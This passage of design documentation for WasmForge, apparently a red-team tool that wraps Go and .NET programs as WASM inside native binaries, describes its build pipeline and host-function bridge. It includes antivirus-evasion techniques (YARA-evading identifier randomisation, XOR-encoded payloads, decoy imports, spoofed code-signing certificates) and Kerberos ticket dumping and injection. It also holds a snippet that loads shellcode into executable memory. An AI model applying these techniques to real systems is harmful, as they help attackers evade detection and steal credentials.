example, `win32_*` on Linux), the function is replaced with an ENOSYS
stub at compile time via build tags.
## Three-Stage Go Build Pipeline
Go projects are compiled in three stages. The pipeline is orchestrated by
`internal/build/pipeline.go`.
### Stage 1: Prepare Patched GOROOT
Implemented in `internal/build/goroot.go`.
WasmForge cannot use the system Go's stdlib as-is for `GOOS=wasip1`. The
stdlib disables most of `net/`, `syscall/`, and `os/exec`, returning
`ENOSYS` for syscalls that the WASI runtime cannot satisfy. The patched
GOROOT replaces those stubs with implementations that route through the
host module's syscall surface.
The patched GOROOT is built by symlinking immutable directories from the
real GOROOT (compiler binaries, headers, `cmd/`) and overlaying patched
copies of `src/syscall/` and `src/net/`. Patches live under
`internal/patch/files/` and are embedded into the wasmforge binary.
The result is cached per `(Go version, wasmforge version, flag set)` at
`~/.wasmforge/cache/<hash>/`. Subsequent builds with the same parameters
reuse the cache.
**Gotcha:** the patched GOROOT's `go` binary must be invoked directly with
`GOTOOLCHAIN=local`. The system `go` ignores `GOROOT` and delegates to the
module cache, which would build with the unpatched stdlib.
### Stage 2: Compile Go to WASM
Implemented in `internal/build/compiler.go`.
The guest is compiled with `GOOS=wasip1 GOARCH=wasm` using the patched
GOROOT. The compiler also performs two key transformations:
1. **Build-constraint relaxation.** Files with `_windows.go` suffixes have
an implicit `GOOS=windows` constraint that excludes them from wasip1
builds. WasmForge needs many of these files. The compiler rewrites
`//go:build` headers (adding `|| wasip1` where appropriate) and renames
`foo_windows.go` to `foo.go` where doing so resolves cleanly. Collisions
are handled by a small set of rules — see
[`_windows.go` build constraint relaxation](#_windowsgo-build-constraint-relaxation).
2. **Sysshim injection.** Guest `go.mod` files that depend on
`golang.org/x/sys` are automatically given a `replace` directive
pointing at WasmForge's vendored sysshim. The sysshim provides the
`golang.org/x/sys/windows` type and constant surface on wasip1 so that
guest code calling `windows.RegOpenKeyEx` (and similar) compiles cleanly.
The compiler also performs per-build identifier randomization on the
patched stdlib (`randomizeGOROOTNetFunctions`) to prevent YARA matching on
gopclntab entries.
### Stage 3: Generate Host Binary
Implemented in `internal/build/embedder.go`.
The generated `.wasm` file is XOR-encoded (key derived from
`SHA256(plaintext)`) and embedded into a generated `main.go` template. The
template instantiates wazero, registers host functions, and runs the WASM
module. The final binary is compiled with the native Go toolchain for the
target `GOOS`/`GOARCH`.
Windows targets receive additional post-processing:
- PE VERSIONINFO and an application manifest are embedded (`winres.go`).
- The import directory is enriched with non-functional decoy imports.
- An optional manifest of payload chunks distributes the encoded WASM
across PE debug sections (default in the R80 stealth recipe).
- Authenticode signing applies a self-signed cert or, with `--sign <domain>`,
a spoofed TLS certificate fetched from the domain and re-signed by
`osslsigncode`.
All optional behaviors are governed by environment variables, documented
in [`docs/ENVIRONMENT.md`](ENVIRONMENT.md).
## NativeAOT-WASI .NET Build Pipeline
For .NET programs, the Go compilation stage is skipped and `.NET → WASM`
compilation is done by NativeAOT-LLVM + WASI SDK. The result is fed to
Stage 3 of the Go pipeline.
```
C# Source
├─ dotnet/bridge/wf_bridge.{c,h} Universal WASM↔host C bridge
├─ dotnet/bridge/pinvoke_nativeaot.c 73 P/Invoke implementations
├─ dotnet/helpers/WfHostBridge.cs C# P/Invoke declarations
├─ dotnet/helpers/LsaHostHelper.cs High-level LSA Kerberos API
└─ dotnet/stubs/ Assembly stubs (DirectoryServices, etc.)
▼ dotnet publish -r wasi-wasm (NativeAOT-LLVM + WASI SDK + pthread stubs)
NativeAOT-WASI module
├─ env imports (4 functions): Anonymized WasmForge host functions
│ mod_invoke → win32_syscalln
│ mod_load → win32_load_library
│ mod_resolve → win32_get_proc_address
│ lsa_kerbop → win32_lsa_kerberos_op
├─ WASI P1 imports Standard WASI (fd_read, fd_write, ...)
└─ WASI P2 stub modules No-op stubs (wasip2_stubs.go)
▼ wasmforge build --wasm App.wasm
Host Binary (polymorphic PE)
```
**End-to-end flow:** `dotnet publish -r wasi-wasm` produces a wasm32
NativeAOT module. WasmForge's `--wasm` flag feeds that module directly to
Stage 3, skipping Go compilation. NativeAOT-specific host functions (SDDL,
WMI, LSA, atomic directory listing) are registered when the `nativeaot`
build tag is set, which the CLI does automatically whenever `--wasm` is
passed.
### Build Prerequisites
- .NET 10 SDK with the NativeAOT-LLVM workload
(`dotnet workload install wasi-experimental`)
- WASI SDK 24.0 (`WASI_SDK_PATH=$HOME/.wasi-sdk/wasi-sdk-24.0`)
- `wasm-component-ld` wrapper that strips the WASI P2 component encoding
and links pthread stubs (provided in `scripts/`)
- Go 1.25.3 for the host binary
The recommended way to get all four in a consistent environment is the
bundled Docker image — see [`docs/CSHARP.md`](CSHARP.md) for the
container-based workflow.
### NativeAOT-specific host functions
| Function | Purpose |
|----------|---------|
| `win32_get_sddl` | `GetNamedSecurityInfoW + ConvertToSddl` as a single atomic call |
| `win32_lsa_kerberos_op` | Atomic LSA Kerberos operations (SYSTEM impersonation + LSA on a COM STA thread) |
| `os_list_dir` | Host directory listing (bypasses WASI path mapping) |
| `os_file_exists` | Host file existence check (bypasses WASI) |
The `win32_lsa_kerberos_op` function supports four operations:
| Operation | Mechanism | Purpose |
|-----------|-----------|---------|
| `enumerate_tickets` | `KERB_QUERY_TKT_CACHE_EX2_MESSAGE` | List cached tickets (klist, triage) |
| `retrieve_ticket` | `KERB_RETRIEVE_TKT_REQUEST` with `KERB_RETRIEVE_TICKET_AS_KERB_CRED` | Dump a single ticket as base64 `.kirbi` |
| `purge_tickets` | `KERB_PURGE_TKT_CACHE_REQUEST` | Remove cached tickets |
| `submit_ticket` | `KERB_SUBMIT_TKT_REQUEST` with base64 `.kirbi` input | Inject a ticket (`ptt`) |
### C# Source Patcher
Before NativeAOT compilation, `internal/patch/csharp_patcher.go` applies
~16 string-replacement transforms to the C# source. These fix patterns
that compile under .NET Framework but crash on NativeAOT-WASI:
- `Marshal.PtrToStringUni(x).Trim()` → null-guarded equivalent
- `WindowsIdentity.GetCurrent().Name` → try/catch → `Environment.UserName`
- `new SecurityIdentifier(ptr)``ConvertSidToStringSid` bridge call
- `AllocCoTaskMem``AllocHGlobal` (CoTaskMem is unsupported on NativeAOT-WASI)
The transform list is data-driven; new patterns can be added without
changing the runner.
### wasm32 vs x64 Bridge
NativeAOT-WASI compiles to wasm32 (4-byte pointers) but calls x64 Windows
APIs (8-byte pointers). The C bridge in `dotnet/bridge/wf_bridge.c`
(`wf_call()`) saves and restores 4 bytes after every WASM pointer
argument to prevent x64 APIs from overwriting adjacent stack data. The
same bridge applies pointer translation, so guest code can pass WASM
linear-memory addresses unchanged.
### WASI P2 Networking Limitation
NativeAOT-WASI uses WASI Preview 2 sockets for all networking instead of
Winsock. Because P2 stubs in WasmForge are currently no-ops, any guest
operation that needs an outbound TCP or LDAP connection from the .NET
side will hang silently. Two paths forward:
1. Route P2 socket imports through the existing `sock_*` host functions.
2. Provide dedicated bridge functions for the small set of network ops
that real-world guests need (Kerberos AS/TGS, LDAP bind).
The bridge-function path is the one currently used for LSA Kerberos
operations, which is why offline Kerberos commands work while
network-issued ones do not.
## Host Module Layout
The host module is implemented in `internal/hostmod/`. Files are grouped
by purpose; the prefix indicates the platform constraint.
### Always available (`internal/hostmod/`)
| File | Purpose |
|------|---------|
| `module.go` | Module registration, errno constants, common helpers |
| `memory.go` | WASM linear-memory read/write helpers |
| `fdtable.go` | Guest FD ↔ host FD mapping (base = 10000) |
| `fd_unix.go` / `fd_windows.go` | `osFDType` alias (`int` on Unix, `syscall.Handle` on Windows) |
| `tcp.go`, `udp.go`, `io.go` | Socket lifecycle and I/O |
| `raw.go` | Raw sockets (`SOCK_RAW`) |
| `dns.go` | DNS resolution (`getaddrinfo`) |
| `addr.go`, `sockopt.go` | Address conversion and socket options |
| `os_host.go` | OS proxies: hostname, getwd, chdir, current user |
| `os_exec.go` | Exec proxy: `CreateProcess` + output capture |
| `net_iface.go` | Network interface enumeration |
| `pipe.go`, `pipe_table.go` | Host pipe creation for `os.Pipe()` |
### Pointer-translation infrastructure
| File | Purpose |
|------|---------|
| `mirror.go` | Mirror table (host → WASM pointer mirroring) |
| `mirror_windows.go` | `VirtualQuery`-based mirror validation, MEM_IMAGE filter |
| `mirror_stub.go` | Mirror stubs for non-Windows |
| `shadow_map.go` | Shadow-memory tracking for VirtualAlloc-style host regions |
### Windows (`win32_*`, built with `//go:build windows`)
| File | Purpose |
|------|---------|
| `win32.go` | Win32 function registration |
| `win32_handle.go` | Win32 handle table (base = 20000) |
| `win32_windows_dll.go` | `LoadLibrary`, `Call`, `SyscallN` + pointer translation |
| `win32_windows_file.go` | `CreateFile`, `ReadFile`, `WriteFile` |
| `win32_windows_process.go` | `CreateProcess`, `OpenProcess` |
| `win32_windows_registry.go` | `RegOpenKey`, `RegQueryValue`, etc. |
| `win32_windows_security.go` | `OpenProcessToken`, SCManager |
| `win32_windows_memory.go` | `VirtualAlloc`, host memory read/write |
| `win32_windows_shadow.go` | Shadow-memory interception (VirtualAlloc routing) |
| `win32_windows_ext.go` | Extension API callbacks (native function pointers) |
| `win32_stub*.go` | ENOSYS stubs for non-Windows builds |
### macOS (`darwin_*`, built with `//go:build darwin`)
| File | Purpose |
|------|---------|
| `darwin.go` | Darwin function registration (7 functions) |
| `darwin_host_darwin.go` | Real `dlopen`/`dlsym` + `ccall9` assembly trampoline |
| `darwin_host_stub.go` | ENOSYS stubs for non-darwin |
| `darwin_trampoline_amd64.s` / `_arm64.s` | Assembly trampolines (SysV ABI / AArch64) |
| `sock_io_darwin.go` | macOS-specific `select()`-based connect completion |
### NativeAOT helpers (`nativeaot_*`, built with `//go:build nativeaot`)
| File | Purpose |
|------|---------|
| `nativeaot.go` | Registration of SDDL, LSA, dir, file_exists |
| `nativeaot_os.go` | `list_dir`, `file_exists` host implementations |
| `nativeaot_security_windows.go` | `win32LsaKerberosOp` (atomic SYSTEM + LSA on COM STA) |
| `nativeaot_security_stub.go` | ENOSYS stubs for non-Windows |
| `nativeaot_wmi_windows.go` | WMI query functions |
| `nativeaot_wmi_stub.go` | ENOSYS stubs for non-Windows |
| `nativeaot_stub.go` | No-op registration when the `nativeaot` tag is absent |
## Key Design Decisions
### Error Code Domains
Two separate error domains travel from host to guest:
1. **WASI errnos** for networking and transport. Returned by
`errnoFromError()` in `module.go`. Maps Linux syscall errnos to WASI
errnos: `EAGAIN→6`, `EBADF→8`, `ENOSYS→52`, etc.
2. **Raw Windows error codes** for Win32 API results. Returned by
`win32Errno()` in `win32_windows_dll.go`. Passes through raw
`uint32(errno)` values so guest code can handle Win32 semantics like
`ERROR_NO_MORE_ITEMS = 259` or `ERROR_MORE_DATA = 234`.
Transport-level errors (`ENOSYS`, `EFAULT`, `EBADF`) are returned directly
by host functions before `win32Errno()` is ever called, so the two domains
do not interleave.
### Handle Tables
Two handle tables map guest tokens to host resources:
| Table | Base | Used for |
|-------|------|----------|
| `fdTable` (`fdtable.go`) | 10000 | Networking sockets |
| `win32HandleTable` (`win32_handle.go`) | 20000 | DLLs, procs, registry keys, files, tokens, host memory, dylibs, symbols |
The 10000 / 20000 floors give plenty of room above WASI's normal FD
range (09) and below the natural address-range of host pointers.
### Platform-Specific FD Types
Unix file descriptors are `int`; Windows handles are `syscall.Handle`
(a `uintptr`). The type alias `osFDType` resolves to whichever applies:
- `fd_unix.go`: `type osFDType = int`
- `fd_windows.go`: `type osFDType = syscall.Handle`
This keeps the rest of the host module platform-agnostic.
### Scheduler Starvation Fix
wazero's compiled WASM execution monopolizes the OS thread on which it
runs. Non-blocking host reads return `EAGAIN` forever because the kernel
never gets a chance to deliver packets to the goroutine waiting on the
socket. The fix is a `time.Sleep(100µs)` in all host-function `EAGAIN`
return paths (`io.go`, `raw.go`). The sleep is short enough that
latency-sensitive code is not noticeably affected but long enough to let
the Go scheduler drain other goroutines.
### Cooperative Yield Protocol (Blocking Win32 APIs)
WASM is single-threaded under wasip1. All Go goroutines run cooperatively
on one OS thread. When a `//go:wasmimport` host function blocks (for
example, `WaitForSingleObject` during a hosted CLR `execute-assembly`),
it freezes every guest goroutine — the WASM guest hangs.
**Solution.** Async dispatch with a yield-retry protocol. No guest code
changes required.
**Protocol flow:**
1. The host identifies blocking APIs by name via the `blockingAPIs` map
(14 entries: `WaitForSingleObject`, `Sleep`, `ReadFile`, etc.).
2. First call: the host dispatches the work to a background goroutine and
returns `errnoYIELD` (255).
3. The guest's `SyscallN` retry loop yields (`runtime.Gosched()` in
`guest/win32`, channel-based `goYield()` in the patched `syscall`
package) and re-issues the call.
4. Retry calls check `pendingAsync.done`. If still pending, the host
returns `errnoYIELD` again.
5. When the background work finishes, the host writes the results into
the guest's output buffers and jumps to the `postCall:` label for
the normal mirror-undo and Step 6/7 post-processing.
**Key design points:**
- **`ret1Ptr` as owner token.** Each goroutine's `SyscallN` frame has a
unique stack-allocated `ret1Buf`. The WASM address of `&ret1Buf[0]`
disambiguates concurrent callers without guest-side changes.
- **Single async slot.** Only one blocking call runs async at a time. A
second concurrent blocker falls back to synchronous
`comSyscallNWithMsgPump`. This is enough because WASM is
single-threaded — true concurrency does not exist.
- **No COM affinity needed.** Blocking APIs (`WaitForSingleObject`,
`Sleep`) are kernel waits that work on any OS thread. They bypass the
COM worker's STA-thread affinity.
- **Channel-based yield in the patched `syscall` package.** Go 1.25's
linker blocks `//go:linkname runtime.Gosched` from the `syscall`
package. The workaround is `go func(){ c <- struct{}{} }(); <-c`,
which creates a proper scheduling point via channel blocking.
- **`postCall:` label.** The async-done path sets the local
`r1`/`r2`/`err` and jumps to `postCall:`, which handles deep mirror
patch undo, writable mirror refresh, Step 6 output mirroring, Step 7
r1 mirroring, and the single `writeReturnValues` call.
**Implementation files:**
- `win32_windows_dll.go`: `blockingAPIs`, `pendingAsyncState`, async
dispatch in `win32SyscallN`, `postCall:` label
- `module.go`: `errnoYIELD` constant (255)
- `internal/patch/files/syscall_win32_wasip1.go`: `goYield()`, retry loop
in `SyscallN`
- `guest/win32/win32.go`: retry loops in `SyscallN` and `SyscallN64`
**Note:** Only the `win32SyscallN` path (used by `golang.org/x/sys/windows`
via `syscall.SyscallN`) has the yield protocol. The `win32Call` path
(used by `guest/win32.Proc.Call()`) calls `syscall.SyscallN` directly
without async dispatch.
### x/sys/windows API Gaps
`RegSetValueExW` and `RegDeleteValueW` are not exported from
`golang.org/x/sys/windows` — they live unexported in the
`windows/registry` sub-package. The host uses `syscall.SyscallN` with
lazy procs loaded directly from `advapi32.dll`
(`win32_windows_registry.go`).
### Host Memory Proxy (for goffloader-style tools)
WASM linear memory is an isolated contiguous byte array. `unsafe.Pointer`
operations only reach that linear memory, not host process memory. Host
addresses returned by `VirtualAlloc` (for example, `0x7FFE12340000`) are
outside WASM's 32-bit address space and would cause out-of-bounds traps.
Tools like goffloader that manipulate host memory via `unsafe.Pointer`
cannot work transparently inside WASM.
**Solution.** The host memory proxy pattern. `VirtualAlloc` returns an
opaque **handle**, not a pointer. Every subsequent memory operation goes
through a host function call: `HMemWrite`, `HMemRead`, `HMemWrite32`,
`HMemRead64`, etc. Pointer arithmetic happens on the host side.
`HMemAddr` retrieves the real host address when it needs to be passed to
`SyscallN`.
**Implementation:** `win32_windows_memory.go` (Windows),
`win32_stub_memory.go` (ENOSYS stubs), `guest/win32/hostmem.go` (the
guest-side API).
### Selective Host Pointer Mirroring (COM Support)
Some Win32 APIs write host pointers into output parameters that the guest
needs to dereference. The clearest example is COM: `CLRCreateInstance`
writes an `ICLRMetaHost*` to a caller-supplied output location. WASM
guest code can only read from WASM linear memory, so these host pointers
must be **mirrored** — copied into WASM memory with a reverse-lookup
table maintained by the host.
**The problem.** Indiscriminately mirroring every host pointer (including
r1 return values) corrupts opaque handles. `LoadLibraryExW` returns an
HMODULE in r1 — a DLL base address. Mirroring it would copy the entire
PE image into WASM and replace the handle with a WASM address; then
`GetProcAddress(corruptedHandle)` crashes with `0xc0000005`.
**The solution — two tiers of automatic classification:**
1. **Never mirror r1.** Handle-returning functions (`LoadLibrary`,
`CreateFile`, `OpenProcess`) return opaque tokens in r1. COM functions
return HRESULT in r1, a small status code. No legitimate Win32 API
returns a dereferenceable pointer in r1 that WASM code needs to read.
2. **Selectively mirror output parameters.** After the native call, for
each arg that was a WASM pointer (translated in Step 3), the host
reads the 8-byte value at that WASM location and mirrors it only if:
- Value > `wasmMemSize` (outside WASM linear memory)
- Value > `0x10000` (not a small scalar or flag)
- Value < `0x7FFFFFFFFFFF` (within the user-mode address range)
- `VirtualQuery` reports `MEM_COMMIT` (real accessible memory)
- `VirtualQuery` reports type **NOT** `MEM_IMAGE` (not a loaded DLL or EXE)
The **MEM_IMAGE filter** is the key discriminator:
| Memory Type | `VirtualQuery` Type | Mirror? | Examples |
|-------------|---------------------|---------|----------|
| Heap object | `MEM_PRIVATE` | YES | COM interface, `SECURITY_DESCRIPTOR` |
| DLL module | `MEM_IMAGE` | NO | `kernel32.dll`, `ntdll.dll` (HMODULE) |
| Kernel handle | (fails `VirtualQuery`) | NO | `HANDLE`, token values |
**Recursive scanning.** After mirroring a host object,
`ScanAndMirrorPointers` follows embedded host pointers (COM vtable
chains). The MEM_IMAGE filter is **intentionally NOT applied** during
recursive scanning, because COM vtables live inside DLL memory
(MEM_IMAGE) and must be mirrored for method dispatch. The filter applies
only at Step 6's top level to prevent HMODULE corruption.
**Implementation.** `mirror.go` (mirrorTable with `byWasm`/`byHost` maps
and a bump allocator), `mirror_windows.go` (`VirtualQuery` + MEM_IMAGE
filter via `mirrorShouldMirror()`), `mirror_stub.go` (non-Windows stubs).
Step 0 in `win32_windows_dll.go` handles reverse translation
(WASM mirror → host address) before `SyscallN` calls. Step 6 handles
forward mirroring after calls.
### Pipe Infrastructure
`os.Pipe()` returns `ENOSYS` on wasip1, which breaks `exec.Cmd` output
capture. The host provides a pipe infrastructure that mirrors WASI's FD
model:
- `pipe.go``os_pipe` host function creates a native pipe pair.
- `pipe_table.go``PipeTable` tracks host pipe FDs.
- `internal/patch/files/syscall_pipe_wasip1.go` — guest-side
`syscall.Pipe` wrapper.
FDs ≥ 10000 are routed to host pipe I/O via the fd table in
`syscall_os_wasip1.go`. Patches in `patcher_os.go` wire `syscall.Pipe`,
`syscall.Read`, `syscall.Write`, and `syscall.Close` to the host pipe
functions.
### OS Host Function Proxies
Standard library functions like `os.Hostname()`, `os.Getwd()`,
`os.UserHomeDir()`, `net.Interfaces()`, and `os/exec.Command().Run()`
do not work in wasip1 because they rely on syscalls unavailable to WASM.
WasmForge provides host proxies and patches the guest's stdlib to use
them:
| File | Functions |
|------|-----------|
| `os_host.go` | `os_hostname`, `os_getwd`, `os_chdir`, `os_user_current` |
| `os_exec.go` | `os_exec`, `os_start_process`, `os_wait4` (with output capture, stdin pipe support, and WASI path denormalization `/c/Users/foo``C:\Users\foo`) |
| `net_iface.go` | `os_net_interfaces` |
The patches in `patcher_os.go` and `patcher.go` wire these into the
guest's stdlib at compile time, so guest code can call `os.Hostname()`,
`exec.Command().Run()`, etc. transparently.
### macOS Framework Bridge (`darwin_call`)
The `darwin_call` gateway is structurally identical to Win32's
`win32SyscallN` but dramatically simpler — it only needs Step 3 (WASM
pointer translation) and Step 4 (the syscall). No shadow memory, no
mirror table, no COM interfaces.
**Design points:**
- **No CGO.** Go's runtime on darwin already links `libSystem.B.dylib`.
WasmForge accesses `dlopen`/`dlsym` via `//go:cgo_import_dynamic` plus
assembly trampolines.
- **Assembly trampolines (`ccall9`).** `syscall.Syscall` on macOS issues
a raw kernel SYSCALL instruction (trap number `+ 0x2000000`). It cannot
call C function pointers returned by `dlsym`. The trampoline uses the
SysV AMD64 ABI (args in RDI, RSI, RDX, RCX, R8, R9, stack for 79) and
the equivalent AArch64 layout for arm64 (x0x7).
- **`darwin_call_raw`.** A variant that skips pointer translation for
APIs operating on remote process memory (for example, `mach_vm_write`,
`mach_vm_allocate`). Mirrors the `ntAPINoMirrorArgs` pattern from
Windows.
- **Handle table reuse.** Uses the existing `win32HandleTable` with
`handleDylib = 4` and `handleSymbol = 5`.
- **Auto-detection.** `DarwinAPIs` is auto-set when `GOOS=darwin` — no
opt-in flag like `--win32-apis`. Every macOS binary needs framework
access, so making the user opt in would be pure friction.
- **Framework path expansion.** Friendly names like `"Security"` resolve
to `"/System/Library/Frameworks/Security.framework/Security"`.
**Implementation files.** `darwin.go` (registration),
`darwin_host_darwin.go` (real impl), `darwin_host_stub.go` (ENOSYS stubs
for non-darwin), `darwin_trampoline_{amd64,arm64}.s` (assembly).
### macOS Runtime Fixes
Four runtime issues require macOS-specific handling:
- **Non-blocking connect.** macOS `getsockopt(SO_ERROR)` returns 0
immediately after `EINPROGRESS`. That means "no error yet" — not
"connected". `sock_io_darwin.go` uses `select()` for write-readiness.
- **Wall clock.** `WithSysWalltime()` and `WithSysNanotime()` must be set
on the wazero runtime config explicitly; the default is a fake
2022-01-01 clock.
- **TMPDIR.** macOS sets `TMPDIR=/var/folders/...`, which is not mounted
in WASI. The runtime overrides it to `/tmp`.
- **SSL CA certs.** Go's wasip1 `crypto/x509` does not find the system
trust store automatically. WasmForge auto-detects and sets
`SSL_CERT_FILE` for the guest.
### Windows Environment Variable Filtering
Windows has drive-specific current-directory entries in the environment
(for example, `=C:=C:\Windows`). These start with `=`, which produces an
empty key after `SplitN`. wazero's `WithEnv` rejects empty keys. The
runtime filters these entries in `runtime.go`.
### WASM Linear Memory Pointer Translation
**The most critical runtime mechanism for complex Win32 programs.** When
WASM guest code calls Win32 APIs via `SyscallN`, pointer arguments hold
WASM linear-memory addresses (for example, `0x2a39b3a`). These are
offsets into wazero's `MemoryInstance.Buffer` byte slice, not valid host
addresses. Passing them directly to Windows APIs causes access violations
(`0xc0000005`).
**Solution (`win32_windows_dll.go`):** before every `syscall.SyscallN`
call, translate WASM pointer arguments to host addresses:
1. Get the host base address: `mem.Read(0, 1)` returns `Buffer[0:1]`;
take `&buf[0]``wasmMemBase`.
2. For each arg: if `arg >= 0x10000 && arg < wasmMemSize`, replace it
with `wasmMemBase + arg`.
3. The `0x10000` (64 KB) threshold distinguishes pointers from scalar
values (flags, sizes, handles).
This works because wazero's `Memory.Read(offset, size)` returns
`m.Buffer[offset : offset+size]` — a subslice of the backing array, not a
copy. `wasmMemBase + wasmOffset` therefore yields a valid host pointer
for the duration of the call.
**Execution order in `win32SyscallN`:**
0. Mirror reverse translation. If an arg is a WASM mirror address,
replace it with the original host address so the native API sees the
real pointer.
1. Shadow memory interception (VirtualAlloc / VirtualProtect /
VirtualFree).
2. Shadow memory translation (pre-existing VirtualAlloc'd regions).
3. WASM linear-memory pointer translation (everything else).
4. `syscall.SyscallN` call.
5. Post-sync shadow memory back to WASM.
6. Selective output-parameter mirroring (see
[Selective Host Pointer Mirroring](#selective-host-pointer-mirroring-com-support)).
The same linear-memory translation is applied in `win32Call` (the
32-bit-arg variant).
### `_windows.go` Build Constraint Relaxation
`internal/build/compiler.go:relaxWindowsBuildConstraints` handles the
fundamental challenge: Go files with `_windows.go` suffixes carry an
implicit `GOOS=windows` constraint that excludes them from `GOOS=wasip1`
builds. WasmForge needs them.
**Two-pass approach:**
1. **First pass — header tags.** Files with `windows` in a positive
constraint get `|| wasip1` added. Files with `!windows` that have a
`_windows.go` counterpart get disabled.
2. **Second pass — filename suffixes.** `foo_windows.go``foo.go`
removes the GOOS constraint from the filename.
**Collision handling.** When `foo_windows.go``foo.go` collides with an
existing `foo.go`:
- If the existing file excludes wasip1 (negative build tag like
`!windows`): replace it. The `_windows.go` version is the correct
implementation.
- If the existing file has shared types or interfaces: rename to
`foo_wfwin.go`. The `_wfwin` suffix matches no real GOOS, so the file
is included unconditionally.
- If a `foo_wasip1.go` stub exists: check whether the renamed
`_windows.go` will compile for wasip1. If yes, drop the stub; if no,
keep the stub and constrain `_wfwin.go` to windows-only.
**Old-style build tags.** `convertPlusBuildToGoBuild()` handles the
`// +build` syntax used before Go 1.17.
**Skip list.** A few vendor packages with deep Windows kernel APIs are
skipped entirely (for example, `go-winio`). The sysshim vendor directory
is also skipped to prevent redeclaration errors.
### Sysshim Sub-Packages
The sysshim at `internal/sysshim/windows/` provides `golang.org/x/sys/windows`
for wasip1 builds. Complex projects may also import:
- `registry/``golang.org/x/sys/windows/registry`
- `svc/``golang.org/x/sys/windows/svc`
- `svc/mgr/``golang.org/x/sys/windows/svc/mgr`
These were copied from the real `golang.org/x/sys` vendor directory with
build constraints relaxed. The compiler's `injectSysshimVendored()`
auto-discovers sub-directories, so new sub-packages are picked up
without changes to the compiler.
### Automatic Sysshim Injection
If a guest program's `go.mod` depends on `golang.org/x/sys`, the
compiler automatically injects a `replace` directive pointing at
WasmForge's vendored sysshim. This makes the full
`golang.org/x/sys/windows` type surface available on `wasip1` without
manual configuration.
### Verbose Debug Mode
Setting `Config.Verbose = true` in `runtime.go` (or passing `-v` to the
CLI) enables syscall tracing. Each `win32SyscallN` call prints:
```
[wasmforge] SyscallN: GetUserDefaultLocaleName (proc=0x7ffd8ee8d6b0, nargs=2, args=[0x2a39b3a, 0x55])
```
The `debugName` field on `win32HandleEntry` records the proc name from
`GetProcAddress`. The verbose log is what `internal/devtools/audit-ptrmasks`
consumes to identify Win32 APIs without explicit pointer-mask coverage.
## Guest Libraries
### `guest/rawnet` — Raw Sockets
```go
import "github.com/praetorian-inc/wasmforge/guest/rawnet"
conn, err := rawnet.Open(rawnet.AF_INET, rawnet.IPPROTO_ICMP)
defer conn.Close()
n, err := conn.SendTo(packet, &rawnet.Addr4{IP: [4]byte{8, 8, 8, 8}})
```
Requires `--raw-sockets` and either `CAP_NET_RAW` or root.
### `guest/win32` — Win32 APIs
```go
import "github.com/praetorian-inc/wasmforge/guest/win32"
if !win32.Available() {
log.Fatal("Win32 APIs not available")
}
// Registry
key, _ := win32.RegOpenKey(
win32.HKEY_LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows\CurrentVersion`,
win32.KEY_READ,
)
defer win32.RegCloseKey(key)
val, _ := win32.RegQueryString(key, "ProgramFilesDir")
// DLL loading
lib, _ := win32.LoadLibrary("kernel32.dll")
proc, _ := lib.GetProcAddress("GetCurrentProcessId")
pid, _ := proc.Call()
lib.Free()
```
The Win32 API bridge is auto-enabled when the target is `GOOS=windows`.
`--win32-apis` is kept as an explicit override. On non-Windows hosts,
`win32.Available()` returns `false` and every call returns
`ErrNotAvailable`.
#### Host Memory (for COFF/BOF loaders)
```go
// Allocate RW memory on the host
mem, _ := win32.VirtualAlloc(4096, win32.MEM_COMMIT|win32.MEM_RESERVE, win32.PAGE_READWRITE)
defer mem.Free()
// Copy data from WASM → host memory
mem.Write(0, shellcodeBytes)
// Scalar read/write
mem.WriteUint32(offset, 0xDEADBEEF)
val, _ := mem.ReadUint32(offset)
// Change to executable
mem.VirtualProtect(win32.PAGE_EXECUTE_READ)
// Get real host address for SyscallN
addr, _ := mem.Addr()
```
### `guest/darwin` — macOS Framework APIs
```go
import "github.com/praetorian-inc/wasmforge/guest/darwin"
if !darwin.Available() {
log.Fatal("macOS framework APIs not available")
}
fw, _ := darwin.LoadFramework("Security")
// or load any dylib by path:
fw, _ = darwin.LoadFramework("/usr/lib/libSystem.B.dylib")
sym, _ := fw.GetSymbol("SecItemCopyMatching")
// Args are uintptr, WASM→host pointer translation is automatic
result, _ := sym.Call(arg1, arg2, arg3)
// CallRaw skips pointer translation (for remote process memory)
result, _ = sym.CallRaw(arg1, arg2, arg3)
// Host memory access
buf := make([]byte, 1024)
darwin.ReadHostMemory(hostAddr, buf)
darwin.WriteHostMemory(hostAddr, data)
```
Auto-detected when `GOOS=darwin`. Framework paths expand from friendly
names: `"Security"``"/System/Library/Frameworks/Security.framework/Security"`.
## Host Functions Reference
### Networking (always available)
| Function | Purpose |
|----------|---------|
| `sock_open` | Create socket (TCP / UDP) |
| `sock_bind` | Bind to address |
| `sock_listen` | Mark as listening |
| `sock_connect` | Connect to remote |
| `sock_accept` | Accept connection |
| `sock_read` / `sock_write` | Non-blocking I/O |
| `sock_sendto` / `sock_recvfrom` | UDP datagrams |
| `sock_shutdown` | Graceful shutdown |
| `sock_setsockopt` / `sock_getsockopt` | Socket options |
| `sock_getpeername` / `sock_getsockname` | Address queries |
| `sock_getaddrinfo` | DNS resolution |
### Raw Sockets (requires `--raw-sockets`)
| Function | Purpose |
|----------|---------|
| `raw_sock_open` | Create `SOCK_RAW` socket |
| `raw_sock_send` | Send raw packet |
| `raw_sock_recv` | Receive raw packet |
### OS Proxies (always available)
| Function | Purpose |
|----------|---------|
| `os_hostname` | Get system hostname |
| `os_getwd` | Get current working directory |
| `os_chdir` | Change working directory |
| `os_user_current` | Get current user (name, uid, home) |
| `os_exec` | Execute command with output capture |
| `os_start_process` | Start process (non-blocking) |
| `os_wait4` | Wait for process completion |
| `os_pipe` | Create host pipe pair (for exec stdin/stdout) |
| `os_net_interfaces` | Enumerate network interfaces |
### Win32 APIs (auto-enabled on Windows targets)
| Function | Purpose |
|----------|---------|
| `win32_available` | Check if Win32 APIs are enabled |
| `win32_load_library` | `LoadLibraryA` |
| `win32_get_proc_address` | `GetProcAddress` |
| `win32_call` | Call proc (up to 6 uint32 args) |
| `win32_syscalln` | `SyscallN` (up to 15 int64 args) |
| `win32_free_library` | `FreeLibrary` |
| `win32_close_handle` | `CloseHandle` (generic) |
| `win32_reg_open_key` | `RegOpenKeyExW` |
| `win32_reg_close_key` | `RegCloseKey` |
| `win32_reg_query_value` | `RegQueryValueExW` |
| `win32_reg_set_value` | `RegSetValueExW` |
| `win32_reg_delete_value` | `RegDeleteValueW` |
| `win32_reg_enum_key` | `RegEnumKeyExW` |
| `win32_create_file` | `CreateFileW` |
| `win32_read_file` | `ReadFile` |
| `win32_write_file` | `WriteFile` |
| `win32_get_file_attrs` | `GetFileAttributesW` |
